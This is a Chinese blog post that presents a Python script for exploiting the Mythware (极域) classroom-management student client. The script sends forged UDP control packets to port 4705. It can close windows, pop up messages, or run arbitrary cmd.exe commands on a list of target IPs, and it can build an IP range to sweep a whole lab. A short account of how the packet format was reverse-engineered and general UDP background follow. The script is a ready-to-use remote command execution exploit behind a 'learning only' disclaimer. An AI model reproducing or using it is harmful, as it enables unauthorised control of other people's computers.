- C20250041's blog
代码分析
- 2024-11-17 12:20:45 @
"""
----------------------------------------------------------------
本工具只适合学习用途,一切责任与创造者无关 --Break_ju
----------------------------------------------------------------
联系者 qq:2823961186
"""
import socket
import random
"""
-------------------------------------------------------------------------------
| main() 主函数入口
|
| tool(target_host) 主要运行内容负责发送数据包
| target_host 为想要控制,并且连接着极域的ip地址
|
| str_to_hex(cmd_code) 将输入的cmd命令进行16进制转码
| cmd_code 为用户输入的cmd控制命令
|
| message_message(head,cmd)
| head 为随机的头部数据,防止cmd控制命令不执行
| cmd 这里的cmd命令为转16进制并且拼接随机头部数据的cmd命令
|
|
---------------------------------------------------------------------------------
"""
def main():
#请自行添加要控制的ip地址
#快捷生成
'''
target_host = []
ip_head = "10.221.145."
start = 138
end = 187
for i in range(start,end+1):
ip = ip_head + str(i)
target_host.append(ip)
'''
target_host = ["6.66.2.103"]
tool(target_host)
"""
"""
def tool(target_host):
# 创建UDP socket对象
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
# 设置目标主机和端口
print(target_host)
target_port = 4705
while(1):
#随机头部数据
head = "444d4f43000001006e030000"+str(random.randint(56,70))+str(random.randint(56,70))+"0000"+str(random.randint(56,70))+str(random.randint(56,70))+str(random.randint(56,70))
n = int(input("0:关闭最上面的窗口 1:发送“你好”消息 2:发送cmd指令 3:退出 :"))
#n=2 #,指令模式将上面一行注释,将n==2即可存指令模式
if n == 0:
message = head + "000000000000000000204e0000c0a8019b610300006103000000020000000000000e0000000000000001000000e102020ba615e102020ca9150100112b0000100001000000010000005e010000000000000200000000500000a005000001000000190000004b00000000000000c0a8019b040000000c00000010000000000000002003e00100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000049f47ac5a8ed19009f93410088aa560018f51900d8ed1900ae95410018f51900fb03000000000000d02d40000000000039000000000000000000000018f51900fb030000fced190050304f00fb030000000000000000000000000000fb03000018f51900000000004cee1900ac764100fb03000000000000000000000000000018f5190018f5190011010000116000801a0808000c819677c8260e01b0260e016d19abb111600080c0439777420300000000000018f5190060ee19008fe14000000000005405030018f5190018ef190014804100fb03000054050300c9f67ac51101000018f51900504205011a08080018ef1900ed5ed17552d414861a08080018ef190040519a0154050300000000002101000000000000908996010c2000000100000000ef19009735d17540519a01000000002c64abcf150200000000000000000000000000000c64abcf000000000000000050420501e8195900041a5900a062d375bc1b6aba14ef1900db294200ffffff7f00000000a0ef1900930853000000000038ef19009236410011010000fb0300005405030034ef190018f5190000000000acef1900396b410011010000fb030000540503007df67ac511010000ae060c00926b41001a08080011010000110400003c0405000000000000000000000000007c145300ffffffff5042050100000000000000000000000000000000000000007df67ac54cef1900ccf019007f07530000000000ccef1900c86b410018f51900ae060c0011010000fb0300005405030000000000f8ef19008b43d375ae060c0011010000fb0300005405030000000000cdabbadc926b41001101000000000000dcf019008c4fd175926b4100ae060c0011010000fb03000054050300f07babcf000000001095980100000040c07babcf0000000040519a012400000001000000000000000000000070000000ffffffffffffffffdb4dd1753152d1750000"
elif n==1:
message = head + "000000000000000000204e0000c0a88e019103000091030000000800000000000005000000604f7d590000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000604f7d590000ffffb4f119009293727640ed1900ffffffff483d0e01e8195900041a590028de7276310000000ced1900db294200041a590002040000ccc60e010000000038ed1900492f4200692f420093ef7e450204000018f519000000000014ed19005ced1900eba5c7152c090b00bca6f00200000000eea0410054ed1900d3884300800808001df3010068ed19001f444200800808002c090b00bca6f00204ee1900f66e4100576f4100afec7e450204000018f51900000000004000000040a07c7700000503b4ed1900d7e97e45a8ed19009f93410088aa560018f51900d8ed1900ae95410018f519000204000000000000902840000000000039000000000000000000000018f5190002040000fced190050304f00020400000000000000000000000000000204000018f51900000000004cee1900ac7641000204000000000000000000000000000018f5190018f519001101000011600080140812000c819677b05f8d05985f8d056d19abb111600080c0439777e80500000000000018f5190060ee19008fe14000000000002c090b0018f5190018ef190014804100020400002c090b00b3ed7e451101000018f51900c8d70e011408120018ef1900ed5ed175efc04d761408120018ef190050819d012c090b0000000000210100000000000080a99301f42400000100000000ef19009735d17550819d010000000083a7c71515020000000000000000000000000000a3a7c7150000000000000000c8d70e01e8195900041a5900a062d37513d8066014ef1900db294200ffffff7f00000000a0ef1900930853000000000038ef19009236410011010000020400002c090b0034ef190018f5190000000000acef1900396b410011010000020400002c090b0007ed7e451101000080080800926b41001408120011010000110400007c0408000000000000000000000000007c145300ffffffffc8d70e01000000000000000000000000000000000000000007ed7e454cef1900ccf019007f07530000000000ccef1900c86b410018f519008008080011010000020400002c090b0000000000f8ef19008b43d3758008080011010000020400002c090b0000000000cdabbadc926b41001101000000000000dcf019008c4fd175926b410080080800110100000204"
elif n==2:
a = input("请输入指令:")
cmd = str(str_to_hex(a))
message = str(message_message(head,cmd))
elif n == 3:
break
# 连接ip,发送数据
binary_date = bytes.fromhex(message)
for ip in target_host:
udp_socket.connect((ip, target_port))
bytes_sent = udp_socket.sendall(binary_date)
print(f"Sent ok")
# 关闭socket
udp_socket.close()
#对cmd命令字符进行处理为16进制
def str_to_hex(cmd_code):
d = 0
result_chuli =""
# 调用 hex() 函数将字符串转换为十六进制
result = ''.join([format(ord(c), '02x') for c in cmd_code])
for char in result:
d = d+1
result_chuli = result_chuli+char
#每一组16进制值后加00填充
if d%2==0:
result_chuli = result_chuli + "00"
#拼接发送的16进制命令
hex_str = "2f0063002000" + result_chuli
return hex_str
#整合为要发送的udp包
def message_message(head,cmd):
#保持udp发送的长度为1038
lenth = 0
message_head = head + "000000000000000000204e0000c0a88e01610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e006500780065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + cmd
for i in range(0,len(message_head),2):
lenth=lenth+1
#补充长度
if lenth <=1038:
for n in range(0,2076-len(message_head),2):
message_head = message_head+"00"
return message_head
else:
print("命令过长请重新输入!!!")
main()
原理:
极域对学生端发的控制包都是udp,尝试利用抓包工具,发现控制包数据内容有一些固定的模式,由此得到关键的16进制数据。然后伪造udp数据包发送到连接了极域的电脑上,极域学生端会将数据包解码成cmd命令执行。(具体过程较为复杂,仅作简单介绍)
udp:
UDP(User Datagram Protocol)是一种无连接的传输层协议,它提供了一种简单的、不可靠的数据传输服务。
-
提供不面向连接的通信,且不对传送的数据报进行可靠的保证,适用于一次传送少量的数据,不适用于传输大量的数据。
-
属于网络协议栈中的传输层协议,直接负责数据的传输和接收。
特点一:无连接 两台主机在使用UDP进行数据传输时,不需要建立连接,只需知道对端的IP和端口号即可把数据发送过去。
特点二:不可靠 UDP协议没有没有确认重传机制,如果因为网络故障导致报文无法发到对方,或者对方收到了报文,但是传输过程中乱序了,对方校验失败后把乱序的包丢了,UDP协议层也不会给应用层任何错误反馈信息。
PS:在网络中,“不可靠”是个中性词,因为可靠就意味着要付出更多的代价去维护可靠,实现起来会复杂很多;而“不可靠”的话,实现起来会更简单。
特点三:面向数据报 UDP传输数据时,是以数据报文为单位一个个地发出去,然后一个个地接收的,这导致上面应用层无法灵活控制数据数据的读写次数和数量。
UDP报头由4个域组成,其中每个域各占用2个字节,具体如下: 源端口号 目标端口号 数据报长度 校验值 UDP协议使用端口号为不同的应用保留其各自的数据传输通道。UDP和TCP协议正是采用这一机制实现对同一时刻内多项应用同时发送和接收数据的支持。数据发送一方(可以是客户端或服务器端)将UDP数据报通过源端口发送出去,而数据接收一方则通过目标端口接收数据。有的网络应用只能使用预先为其预留或注册的静态端口;而另外一些网络应用则可以使用未被注册的动态端口。因为UDP报头使用两个字节存放端口号,所以端口号的有效范围是从0到65535。一般来说,大于49151的端口号都代表动态端口。 数据报的长度是指包括报头和数据部分在内的总的字节数。因为报头的长度是固定的,所以该域主要被用来计算可变长度的数据部分(又称为数据负载)。数据报的最大长度根据操作环境的不同而各异。从理论上说,包含报头在内的数据报的最大长度为65535字节。不过,一些实际应用往往会限制数据报的大小,有时会降低到8192字节。 UDP协议使用报头中的校验值来保证数据的安全。校验值首先在数据发送方通过特殊的算法计算得出,在传递到接收方之后,还需要再重新计算。如果某个数据报在传输过程中被第三方篡改或者由于线路噪音等原因受到损坏,发送和接收方的校验计算值将不会相符,由此UDP协议可以检测是否出错。这与TCP协议是不同的,后者要求必须具有校验值。
以太网(Ethernet)数据帧的长度必须在46-1500字节之间,这是由以太网的物理特性决定的. 这个1500字节被称为链路层的MTU(最大传输单元). 但这并不是指链路层的长度被限制在1500字节,其实这这个MTU指的是链路层的数据区. 并不包括链路层的首部和尾部的18个字节. 所以,事实上,这个1500字节就是网络层IP数据报的长度限制. 因为IP数据报的首部为20字节,所以IP数据报的数据区长度最大为1480字节. 而这个1480字节就是用来放TCP传来的TCP报文段或UDP传来的UDP数据报的. 又因为UDP数据报的首部8字节,所以UDP数据报的数据区最大长度为1472字节. 这个1472字节就是我们可以使用的字节数。